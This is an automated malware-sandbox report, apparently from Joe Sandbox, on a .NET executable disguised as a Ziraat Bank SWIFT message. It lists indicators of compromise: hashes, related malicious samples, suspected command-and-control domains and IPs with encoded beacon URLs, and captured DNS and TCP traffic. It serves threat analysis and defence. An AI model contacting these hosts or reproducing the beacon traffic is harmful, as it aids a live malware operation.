                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.

                                                                      Simulations

                                                                      Behavior and APIs

                                                                      TimeTypeDescription
                                                                      10:16:34API Interceptor2x Sleep call for process: Ziraat Bankasi Swift Mesaji20221129-34221.exe modified

                                                                      Joe Sandbox View / Context

                                                                      IPs

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      103.11.189.189Ziraat Bankasi Swift Mesaji20221125.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?UhrXiD=0hAhe8Hh&i48tOReh=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImnQleN8W8E9RZ0lg==
                                                                      nR6t2VGd2G.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/a3c0/?S4Ol3=SYnefeMQwQ3aOnPqGSqUPSkmplggHW1mZDIA0rWaYWso3HfO8fIM6Kc2JapkAsK/3b9vEgxYGPApZbnwqtDExfWBv+tP79ikMA==&sXkTW=PxopUVfphlk
                                                                      4_6048434599929842876.jsGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/a3c0/?D0Gp5=c2J08N6x6tDxXt&4h90bVW=SYnefeMQwQ3aOnPqGSqUPSkmplggHW1mZDIA0rWaYWso3HfO8fIM6Kc2JapkAsK/3b9vEgxYGPApZbnwqtDExfWBv+tP79ikMA==
                                                                      Oferta de transporte DHL.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/f3ip/?5jl0dR=IN686RxhABI&YDKP-=nTZNPnyQQdvbDfwdTjYKwJLjYT13HOtvMit2E9faxl9D5Nipz18ZhOqplOCYzQPP0QqFKUGrZEWDHkPS8jnrkXbhtvBghG8nag==
                                                                      Ziraat Bankasi Swift Mesaji20221121.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?3f-T6nI=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImnXlyB2HME2hA2u33jFcxbHUjt&j6=hfNT
                                                                      DOC007653647953-20221511.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?oL08=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&s2MtM=5jBl5P7PLN
                                                                      Ziraat Bankasi Swift Mesaji20221111.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?SpQL4=MFNdYVRHNTkPAVX0&1blTn4=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImnQleN8W8E9RZ0lg==
                                                                      Ziraat Bankasi Swift Mesaji20221110.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?6li=Id0T0NIH-PmpC&yRExXbV=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImnXlyB2HME2hA2u33jFcxbHUjt
                                                                      Ziraat Bankasi Swift Mesaji20221109 (2).exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?8pHd=PL04n4I0hpct6T9&q4IpMxR=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbGGA2EU60StRkw==
                                                                      Ziraat Bankasi Swift Mesaji20221109.exeGet hashmaliciousBrowse
                                                                      • www.oaksinstitute.net/qmpa/?EN=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbGGA2EU60StRkw==&jR-l=6lNTxBMP
                                                                      3cGH9Bakuq.exeGet hashmaliciousBrowse
                                                                      • www.rangerbuddys.com/scb0/?sVSH=CPDL8v1&IN9dgxBh=J7r5qQFPY3cJvABn1Gs7ze2qtK7SOzbffr49jA2eoV1JiGZLpH7+KoOsOPA+gXWondlu
                                                                      Additional DHL shipment Delivery Parcel.exeGet hashmaliciousBrowse
                                                                      • www.milliemaiden.com/nehc/?D4f8=fRmXCLc0WnbXAL&Jzu8ZXYx=NPZkSMI47v3URZjVQiwyZHYkMaBFahS78nDaSEbkZq6FH+5mxG+RbiddKz/jSroxTopO
                                                                      42RFQ Requirements for IPREN BV Belgium.exeGet hashmaliciousBrowse
                                                                      • www.expatysingapore.com/i8/?y6Ql=4fkaZCzLhJxiUJleuO3V+pXCoYfSV1Mc0lj0VsIYNj7neo0pFDrST1X9HblvKCnn61VkJVI17dvfVmcYVQ7hJw==&9rUPB=1b9L_r

                                                                      Domains

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      www.oaksinstitute.netZiraat Bankasi Swift Mesaji20221125.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      nR6t2VGd2G.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      4_6048434599929842876.jsGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Oferta de transporte DHL.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221121.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      DOC007653647953-20221511.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221115.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221111.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221110.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221109 (2).exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221109.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji,pdf2.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189

                                                                      ASNs

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSGBL-NO-OOLU2136901180.vbsGet hashmaliciousBrowse
                                                                      • 101.100.216.187
                                                                      Ziraat Bankasi Swift Mesaji20221125.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      nR6t2VGd2G.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      4_6048434599929842876.jsGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Oferta de transporte DHL.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221121.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      customer_2022-11-17_124747.vbsGet hashmaliciousBrowse
                                                                      • 101.100.216.187
                                                                      DOC007653647953-20221511.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221111.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221110.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221109 (2).exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      Ziraat Bankasi Swift Mesaji20221109.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.189
                                                                      #PDF4.exeGet hashmaliciousBrowse
                                                                      • 101.100.223.80
                                                                      CMDD.exeGet hashmaliciousBrowse
                                                                      • 101.100.223.80
                                                                      ROGdemGOqw.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.121
                                                                      triage_dropped_file.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.121
                                                                      triage_dropped_file.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.121
                                                                      OYUHlwsqqp.exeGet hashmaliciousBrowse
                                                                      • 103.11.189.121
                                                                      Shipment Documents,BL,CHECKLIST , P.LIST, INVOICE and PL_1.docx.docGet hashmaliciousBrowse
                                                                      • 103.11.189.121
                                                                      SENDER-ASLTZiraat Bankasi Swift Mesaji20221125.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221121.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      DOC007653647953-20221511.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221115.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221114.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221111.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221110.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      ZiraatBankasiSwiftMesaji20221109 (2).exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221109 (2).exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji20221109.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      Ziraat Bankasi Swift Mesaji,pdf2.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.229
                                                                      6tZuVq6gtV.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      ITSBi3J3ws.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      Oya6cSyAWh.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      QQNkZaudJn.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      bG2CKwOjJk.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      I1KSIDPLWw.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      file.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15
                                                                      09d9bb25f1d1bd6f7c3e3aa64df49eaa398e9f26b198e.exeGet hashmaliciousBrowse
                                                                      • 141.136.43.15

                                                                      JA3 Fingerprints

                                                                      ⊘No context

                                                                      Dropped Files

                                                                      ⊘No context

                                                                      Created / dropped Files

                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Ziraat Bankasi Swift Mesaji20221129-34221.exe.log

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      File Type:ASCII text, with CRLF line terminators
                                                                      Category:dropped
                                                                      Size (bytes):1216
                                                                      Entropy (8bit):5.355304211458859
                                                                      Encrypted:false
                                                                      SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
                                                                      MD5:FED34146BF2F2FA59DCF8702FCC8232E
                                                                      SHA1:B03BFEA175989D989850CF06FE5E7BBF56EAA00A
                                                                      SHA-256:123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
                                                                      SHA-512:1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
                                                                      Malicious:true
                                                                      Reputation:high, very likely benign file
                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                                                      C:\Users\user\AppData\Local\Temp\q3W1-4699

                                                                      Download File
                                                                      Process:C:\Windows\SysWOW64\systray.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):94208
                                                                      Entropy (8bit):1.2880737026424216
                                                                      Encrypted:false
                                                                      SSDEEP:192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
                                                                      MD5:5F02C426BCF0D3E3DC81F002F9125663
                                                                      SHA1:EA50920666E30250E4BE05194FA7B3F44967BE94
                                                                      SHA-256:DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
                                                                      SHA-512:53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      Preview:SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      Static File Info

                                                                      General

                                                                      File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Entropy (8bit):7.808753534771263
                                                                      TrID:
                                                                      • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                      • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                      • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                      • Windows Screen Saver (13104/52) 0.07%
                                                                      • Generic Win/DOS Executable (2004/3) 0.01%
                                                                      File name:Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      File size:736256
                                                                      MD5:6a0ff43510923c27b144bf86b5e0a867
                                                                      SHA1:880c264f12ea2175a81f7030dec9c7043093253f
                                                                      SHA256:52426e75e25f69d9d7a8121464fe16a213ab48519ae10b2e2fc028ce86794a8b
                                                                      SHA512:18f0247de11b5d3a7139f8c577560a2987fa706ed0b1eb8f08b01384d320508edbce31ceab050a82a09a97b8892680b3cab3e878bac4a1e7bfaa797ac8595c60
                                                                      SSDEEP:12288:vX1wDXZCg8FEJLIJWyBgFuPDhd55slqVvsH4B4oks60PoSpK:vFwJpVIJxBnTzsOBI0Poo
                                                                      TLSH:1CF4F1BEB1D39F52C38415B2C5D2A92003E685871576FB463B8142DAEE237E45C4BBCB
                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....]................0..2...........Q... ...`....@.. ....................................@................................

                                                                      File Icon

                                                                      Icon Hash:00828e8e8686b000

                                                                      Static PE Info

                                                                      General

                                                                      Entrypoint:0x4b51ce
                                                                      Entrypoint Section:.text
                                                                      Digitally signed:false
                                                                      Imagebase:0x400000
                                                                      Subsystem:windows gui
                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                      Time Stamp:0xE3C25DA2 [Thu Feb 1 10:59:46 2091 UTC]
                                                                      TLS Callbacks:
                                                                      CLR (.Net) Version:
                                                                      OS Version Major:4
                                                                      OS Version Minor:0
                                                                      File Version Major:4
                                                                      File Version Minor:0
                                                                      Subsystem Version Major:4
                                                                      Subsystem Version Minor:0
                                                                      Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                      Entrypoint Preview

                                                                      Instruction
                                                                      jmp dword ptr [00402000h]
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al

                                                                      Data Directories

                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xb51800x4b.text
                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xb60000x5b8.rsrc
                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0xb80000xc.reloc
                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0xb513d0x1c.text
                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                      Sections

                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                      .text0x20000xb31d40xb3200False0.8954308051290998data7.8163399193374055IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .rsrc0xb60000x5b80x600False0.427734375data4.111112445993303IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .reloc0xb80000xc0x200False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                      Resources

                                                                      NameRVASizeTypeLanguageCountry
                                                                      RT_VERSION0xb60a00x32cdata
                                                                      RT_MANIFEST0xb63cc0x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

                                                                      Imports

                                                                      DLLImport
                                                                      mscoree.dll_CorExeMain

                                                                      Network Behavior

                                                                      Network Port Distribution

                                                                      TCP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Nov 29, 2022 10:18:12.099618912 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.132400036 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.132574081 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.132653952 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.166188002 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166218996 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166239977 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166260958 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166452885 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.166454077 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.166740894 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.199331999 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:17.455929995 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:17.713973045 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.714298010 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:17.714528084 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:17.972193003 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.976200104 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.976226091 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.976337910 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:18.715300083 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:19.732419014 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:19.991139889 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:19.991379976 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:19.991839886 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.250371933 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253719091 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253741980 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253756046 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253885984 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.253931046 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.254262924 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.514318943 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:25.456048012 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.636853933 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.637147903 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.637303114 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.817992926 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818844080 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818865061 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818928003 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818967104 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.819005966 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:26.653980970 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:27.664506912 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:27.854477882 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:27.854909897 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:27.855137110 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:28.044476032 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.045181036 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.045207024 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.045227051 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.064215899 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:28.064922094 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:28.254328012 CET8049702103.11.189.189192.168.2.4

                                                                      UDP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Nov 29, 2022 10:18:12.005403042 CET5091153192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:12.036030054 CET53509118.8.8.8192.168.2.4
                                                                      Nov 29, 2022 10:18:17.173329115 CET5968353192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:17.454163074 CET53596838.8.8.8192.168.2.4
                                                                      Nov 29, 2022 10:18:25.268935919 CET6416753192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:25.443312883 CET53641678.8.8.8192.168.2.4
                                                                      Nov 29, 2022 10:18:33.067755938 CET5856553192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:33.199367046 CET53585658.8.8.8192.168.2.4

                                                                      DNS Queries

                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                      Nov 29, 2022 10:18:12.005403042 CET192.168.2.48.8.8.80xb2cbStandard query (0)www.notarpucarhr.comA (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:17.173329115 CET192.168.2.48.8.8.80xa946Standard query (0)www.multimediapages.comA (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:25.268935919 CET192.168.2.48.8.8.80xc60fStandard query (0)www.oaksinstitute.netA (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:33.067755938 CET192.168.2.48.8.8.80x2fe9Standard query (0)www.thetrendsinfo.comA (IP address)IN (0x0001)false

                                                                      DNS Answers

                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                      Nov 29, 2022 10:18:12.036030054 CET8.8.8.8192.168.2.40xb2cbNo error (0)www.notarpucarhr.comnotarpucarhr.comCNAME (Canonical name)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:12.036030054 CET8.8.8.8192.168.2.40xb2cbNo error (0)notarpucarhr.com141.136.43.229A (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:17.454163074 CET8.8.8.8192.168.2.40xa946No error (0)www.multimediapages.com38.239.92.131A (IP address)IN (0x0001)false
